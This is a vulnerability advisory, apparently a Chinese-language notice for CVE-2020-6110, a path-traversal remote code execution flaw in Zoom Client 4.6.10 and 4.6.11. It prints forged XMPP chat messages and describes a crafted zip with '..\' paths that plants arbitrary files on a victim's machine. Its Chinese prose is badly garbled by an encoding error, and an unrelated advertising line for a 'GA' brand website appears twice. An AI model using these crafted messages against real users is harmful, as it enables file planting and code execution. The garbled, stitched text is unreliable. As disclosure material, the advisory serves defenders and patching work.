CVE-2020-6110 | ZOOM¿Í»§¶ËÔ¶³Ì´úÂëÖ´Ðзì϶¹«¸æ

°ä²¼¹¦·ò 2020-06-05

0x00 ·ì϶¸ÅÊö



CVE   ID

CVE-2020-6110

ʱ    ¼ä

2020-06-04

Àà    ÐÍ

RCE

µÈ    ¼¶

¸ßΣ

Ô¶³ÌÀûÓÃ

ÊÇ

Ó°ÏìÁìÓò

Zoom Client 4.6.10¡¢4.6.11


0x01 ·ì϶ÏêÇé


GA»Æ½ð¼×¡¤(ÖйúÇø)¹Ù·½ÍøÕ¾



Zoom ClientÊÇÃÀ¹úZoom¹«Ë¾µÄÒ»¿îÖ§³Ö¶àÖÔì½Ì¨µÄÊÓÆµ»áÒé¿Í»§¶ËÀûÓ÷¨Ê½¡£


CVE-2020-6110ÊÇZoom Client°æ±¾4.6.10´¦ÖÃÔ̺¬¹²Ïí´úÂë¶ÎÔÚÄÚµÄÐÂÎŵķ½Ê½ÖдæÔÚÒ»¸ö¿ÉÀûÓõÄõè¾¶±éÀú·ì϶¡£ÌØÔìµÄ̸ÌìÐÂÎÅ¿ÉÄܻᵼÖÂÖ²ÈëËÁÒâ¶þ½øÔìÎļþ £¬¿ÉÄÜ»áÀÄÓøöþ½øÔìÎļþÀ´ÊµÏÖËÁÒâ´úÂëÖ´ÐС£¹¥»÷Õß±ØÒªÏòÖ¸±êÓû§»ò×é·¢ËÍÌØÔìÐÂÎÅ £¬±ØÒªÖ¸±êÓû§µÄ½»»¥ÄÜÁ¦´¥·¢´Ë·ì϶¡£


ÐÔÖÊÉÏ £¬´Ë²¿ÃÅ´úÂëÊÇͨ¹ýÌìÉúÒ»¸öÌØÊâµÄzip¹éµµÎļþÀ´¹²ÏíµÄ £¬¸Ã¹éµµÎļþÔ̺¬¼¸¸öÖ§³ÖÎļþ£¨ÓÃÓÚ´¿Îı¾µÄÎÞ±êÌâ´úÂ룩£º


Untitled.html

Untitled.properties

Untitled.rtf

Untitled.tx*


×îºóÒ»¸öÔ̺¬Ô´×ÔÉí £¬¸»Îı¾ÎļþÌṩÓï·¨¸ßÁÁÏÔʾ £¬¶øÊôÐÔÎļþÃèÊö·¨Ê½°ü¡£


µ±Ò»¸öÓû§ÓëÁíÒ»¸öÓû§¹²ÏíÒ»¸ö´úÂëÆ¬¶Îʱ £¬±ã»á´´½¨¸ÃzipÎļþ £¬²¢Í¨¹ý/zoomfile/uploadÏòµÄÒªÇ󽫯äÉÏ´«µ½ZoomµÄ´æ´¢·þÎñÆ÷file.zoom.us¡£Í¬Ê±Zoom¿Í»§¶Ë»ñÈ¡Îļþ¶ÔÏóID £¬¶øºó½«XMPPÐÂÎÅ·¢Ë͸øÊÕ¼þÈË¡£XMPPÐÂÎÅ¿´ÆðÀ´Ïñ£º


<message from="source_xmpp_username@xmpp.zoom.us/ZoomChat_pc" to="destination_xmpp_username@xmpp.zoom.us" id="{170029-35B3-4748-9CB0-42E42FF20DE5}" type="chat">

   <thread>gloox{THREADID}</thread>

   <active xmlns="http://jabber.org/protocol/chatstates"/>

   <sns>

       <format>%1$@ sent you a code snippet</format>

       <args>

           <arg>S E</arg>

       </args>

   </sns>

   <zmext expire_t="1650165620000" t="1587093620200">

   <obj k="key" id="__object_id" s="166" nm="Untitled1.zip" f="14" st="0"/>

   <from n="S E" e="emailaddress" res="ZoomChat_pc"/>

   <to/>

   <visible>true</visible>

   <msg_feature>1024</msg_feature>

   </zmext>

   <body>S E has sent you a code snippet</body>

</message>


¶ÔÏóIDÊôÐÔΨһµØ±êʶÔ̺¬ÒÑɾ³ýÃèÊöµÄÎļþ¡£µ±XMPP¿Í»§¶ËÊÕµ½ÉÏÊöÐÂÎÅʱ £¬Ëü½«³ÖÐø´ÓZoomµÄÊý¾Ý´æ´¢ÖÐÌáȡָ¶¨µÄÎļþ £¬²¢½«ÆäÒÔΨһµÄÎļþÃû±£Áôµ½´ÅÅÌ¡£ÔÚWindows¿Í»§¶ËÉÏ £¬ÕâЩÎļþ´æ´¢ÔÚÖÐ%APPDATA%\Roaming\Zoom\data\xmpp_user\CodeSnippet\<random uid dir>¡£Í¨¹ýZoom¶¨ÆÚ¹²ÏíÎļþµÄÇé¿öÒ²ÊÇÈç´Ë¡£µ«ÊÇ £¬ÔÚ¹²Ïí´úÂë¶ÎµÄÇé¿öÏ £¬Zoom½«³ÖÐø×Ô¶¯½âѹËõÏÂÔØµÄzipÎļþ £¬ÒÔÔ¤ÀÀºÍÏÔʾ¸Ã´úÂë¶Î¡£´Ë·ì϶µÄÖ÷ÌâÊÇZoomµÄzipÎļþÌáȡְÄÜÔÚÌáÈ¡zipÎļþ֮ǰ²»»á¶ÔÆä½øÐÐÑéÖ¤¡£


ÕâʹDZÔڵĹ¥»÷ÕßÎÞÐèÓû§¹ýÎʼ´¿Éͨ¹ý×Ô¶¯ÌáÈ¡µÄzipÎļþ½«ËÁÒâ¶þ½øÔìÎļþÖ²ÈëÖ¸±êÍÆËã»úÉÏ¡£´Ë±íõè¾¶±éÀúÎÊÌâÊ¹ÌØÔìµÄzipÎļþÄܹ»ÔÚÔ¤ÆÚµÄËæ»úÌìÉúĿ¼֮±íдÈëÎļþ¡£ÀýÈç £¬ÏÖʵ´ó½«zipѹËõÎļþÖеÄÎļþõ辶Ϊ¡° .. \ test \ another \ test.exe¡±µÄÎļþÌáÈ¡µ½ÎļþÖÐ £¬%APPDATA%\Roaming\Zoom\data\xmpp_user\CodeSnippet\test\another\text.exe¶ø²»ÊÇÔ̺¬ÔÚÓµÓÐËæ»úUIDµÄĿ¼ÖС£×ÔÉí¾Í¿ÉÄÜÔÚÀûÓÃÁíÒ»¸ö·ì϶ʱ±»ÀÄÓá£


´Ë±í £¬ÓйØZoom´¦Öù²ÏíÎļþµÄ·½Ê½µÄÒ»¸ö¹Öñ±Ê¹´Ë·ì϶¿Éͨ¹ýÖ¸±êÓû§½øÇ°½øÒ»²½´¦Öá£ÓëZoom¿Í»§¶Ë¹²ÏíͨÀýÎļþºó £¬ËûÃDZØÒªÔÚ½Ó¼ûÎļþ֮ǰµ¥»÷Îļþ²¢Ñ¡Ôñ±£ÁôµØÎ»¡£ÓÉÓÚZoom¿Í»§¶Ë»á¸ú×ÙÏÂÔØµÄÎļþ £¬Òò¶ø½«´ËÊÂʵÓëÉÏÊöÎÊÌâ½áºÏÔÚһ·¿ÉÄܵ¼ÖÂËÁÒâÎļþдÈëËÁÒâõè¾¶¡£ÔÚÕâÖÖÇé¿öÏ £¬¹¥»÷ÕßÊ×ÏÈ»áÓëÖ¸±êÓû§¹²ÏíÒ»¸ö¶ñÒâµÄzipÎļþ £¬²¢´øÓÐÎļþÃû £¬ÀýÈç¡° interesting_image.jpeg¡±¡£Ö¸±ê¿ÉÄܻᵥ»÷¸ÃÎļþ²¢½«Æä±£ÁôÔÚij¸öµØÎ»£¨ÀýÈç £¬ÔÚÆä×ÀÃæÉÏ£©¡£Óû§½«ÎÞ·¨Ö±½ÓÒÔzip»òjpegÌåʽ´ò¿ªÎļþ¡£ÁíÒ»·½Ãæ £¬Zoom¿Í»§¶Ë»á¸ú×Ù´ËÎļþ²¢±£ÁôÔÚÖ¸¶¨õè¾¶ÖС£¶øºó £¬¹¥»÷Õß½«´úÂëÆ¬¶Î¹²ÏíÐÂÎÅ·¢Ë͸øÖ¸±ê £¬µ«ÔÚÖ¸±ê·þÎñÆ÷ÖÐÖ¸¶¨Ò»ÑùµÄÎļþIDºÍ¾ßÌåÐÅÏ¢¡£obj±êÇ©¡£Zoom ClientÀûÓ÷¨Ê½½«¿´µ½¸ÃÎļþÒѾ­ÏÂÔØ £¬²¢ÇÒ½«²»Ë¼¿¼.jpegÀ©´óÃû½«Æä½âѹËõ¡£Í¨¹ýÀÄÓÃĿ¼±éÀú·ì϶ £¬¶ñÒâµÄzipÎļþÄܹ»½«ÎļþÌáÈ¡µ½c\Users\<username>\ÈκÎ×ÓĿ¼ÖС£


ÔÚÕâÖÖÇé¿öÏ £¬¹¥»÷Õß½«Ò»¸öÎļþÉÏ´«µ½file.zoom.usÃûΪµÄ·þÎñÆ÷interesting_image.jpeg¡£¶øºó £¬¹¥»÷Õß·¢ËÍÈçÏÂÐÂÎÅ£º


<message from="source_xmpp_username@xmpp.zoom.us/ZoomChat_pc" to="destination_xmpp_username@xmpp.zoom.us" id="{170029-35B3-4748-9CB0-42E42FF20DE5}" type="chat">

   <thread>gloox{THREADID}</thread>

   <active xmlns="http://jabber.org/protocol/chatstates"/>

   <sns>

       <format>%1$@ sent you a file</format>

       <args>

           <arg>S E</arg>

       </args>

   </sns>

   <zmext expire_t="1650165620000" t="1587093620200">

   <obj k="key" id="__object_id_of_interesting_image.jpeg" s="166" nm="interesting_image.jpeg" f="5" st="0"/>

   <from n="S E" e="emailaddress" res="ZoomChat_pc"/>

   <to/>

   <visible>true</visible>

   <msg_feature>8</msg_feature>

   </zmext>

   <body>S E has sent you a code snippet</body>

</message>


¿Í»§¶Ë±£ÁôÎļþ £¬¶øºó¹¥»÷Õß·¢ËÍÁíÒ»ÌõÄÚÈÝÏÕЩһÑùµÄÐÂÎÅ£º


<message from="source_xmpp_username@xmpp.zoom.us/ZoomChat_pc" to="destination_xmpp_username@xmpp.zoom.us" id="{170029-35B3-4748-9CB0-42E42FF20DE5}" type="chat">

   <thread>gloox{THREADID}</thread>

   <active xmlns="http://jabber.org/protocol/chatstates"/>

   <sns>

       <format>%1$@ sent you a file</format>

       <args>

           <arg>S E</arg>

       </args>

   </sns>

   <zmext expire_t="1650165620000" t="1587093620200">

   <obj k="key" id="__object_id_of_interesting_image.jpeg" s="166" nm="interesting_image.jpeg" f="14" st="0"/>

   <from n="S E" e="emailaddress" res="ZoomChat_pc"/>

   <to/>

   <visible>true</visible>

   <msg_feature>1024</msg_feature>

   </zmext>

   <body>S E has sent you a code snippet</body>

</message>  


ÒÔÉÏÐÂÎÅÖеĸü¸ÄλÓÚtagµÄfÊôÐÔÖÐobj¡£ËüÖ¸¶¨14Åúʾ´úÂë¶ÎÖ°ÄÜ¡£Í¬Ñù½«msg_featureµ÷ÕûΪ1024Óë¹²Ïí´úÂë¶ÎÒ»Ñù¡£objÏóÕ÷ÄÚµÄÎļþIDºÍÃû³ÆÎ¬³Ö²»±ä £¬µ¼ÖÂZoom¿Í»§¶Ë²»»á½«Îļþ³ÁÐÂÏÂÔØµ½¡° CodeSnippets¡±Ä¿Â¼ÖÐ £¬¶øÊÇʹÓÃÏÈǰ±£ÁôµÄõè¾¶¡£


±ØÒª°ÑÎȵÄÊÇ £¬¼´±ãÖ¸±êÓû§ÔÚÒâʶµ½ÐéαµÄÇé¿öÏÂɾ³ýÁËÒѱ£ÁôµÄÎļþ £¬Zoom¿Í»§¶ËÒ²»á³ÁÐÂÏÂÔØ¸ÃÎļþ £¬µ«ÔÚÊÕµ½×îÖÕÐÂÎÅʱÈÔ»á×ñѭԭʼµÄ±£Áôõè¾¶¡£Í¬Ñù¶ñÒâzipÎļþÄܹ»Ô̺¬´øÓÐĿ¼±éÀúõè¾¶µÄ¶ñÒâÎļþµÄ¶à¸ö¸±±¾ £¬ÕâЩĿ¼Äܹ»ÓÃÓÚ°üÈÝÖ¸±êÓû§¿ÉÄܱ£ÁôÎļþµÄËÁÒâµØÎ»¡£


×ÜÖ® £¬Äܹ»ÔÚÉÏÊöÁ½ÖÖÇé¿öÏÂÀÄÓô˷ì϶¡£Ê×ÏÈ £¬ÈôÊÇûÓÐЧ»§½»»¥ £¬¾ÍÄܹ»ÀÄÓÃËü £¬¼´±ãÔÚ¿ÉÄÜÀûÓÃÆäËû·ì϶µÄÊÜÏÞõè¾¶ÉÏ £¬ÔÚÖ¸±êϵͳÉÏÖ²ÈëËÁÒâ¶þ½øÔìÎļþ¡£Æä´Î £¬Í¨¹ýÓû§½»»¥ £¬½«¶þ½øÔìÎļþÖ²ÈëÏÕЩËÁÒâõè¾¶ £¬²¢ÓпÉÄܸ²¸Ç³ÁÒªÎļþ²¢µ¼ÖÂËÁÒâ´úÂëÖ´ÐС£


0x02 ´ëÖý¨Òé


Ŀǰ³§ÉÌÒѰ䲼4.6.12°æ±¾ÒÔ½¨¸´·ì϶ £¬ÏÂÔØµØÖ·£º

https://zoom.us/


0x03 ÓйØÐÂÎÅ


https://securityaffairs.co/wordpress/104249/hacking/zoom-security-flaws.html


0x04 ²Î¿¼Á´½Ó


https://talosintelligence.com/vulnerability_reports/TALOS-2020-1056


0x05 ¹¦·òÏß


2020-04-16 ×êÑÐÈËÔ±Åû¶

2020-06-04 VSRC°ä²¼·ì϶¹«¸æ


GA»Æ½ð¼×¡¤(ÖйúÇø)¹Ù·½ÍøÕ¾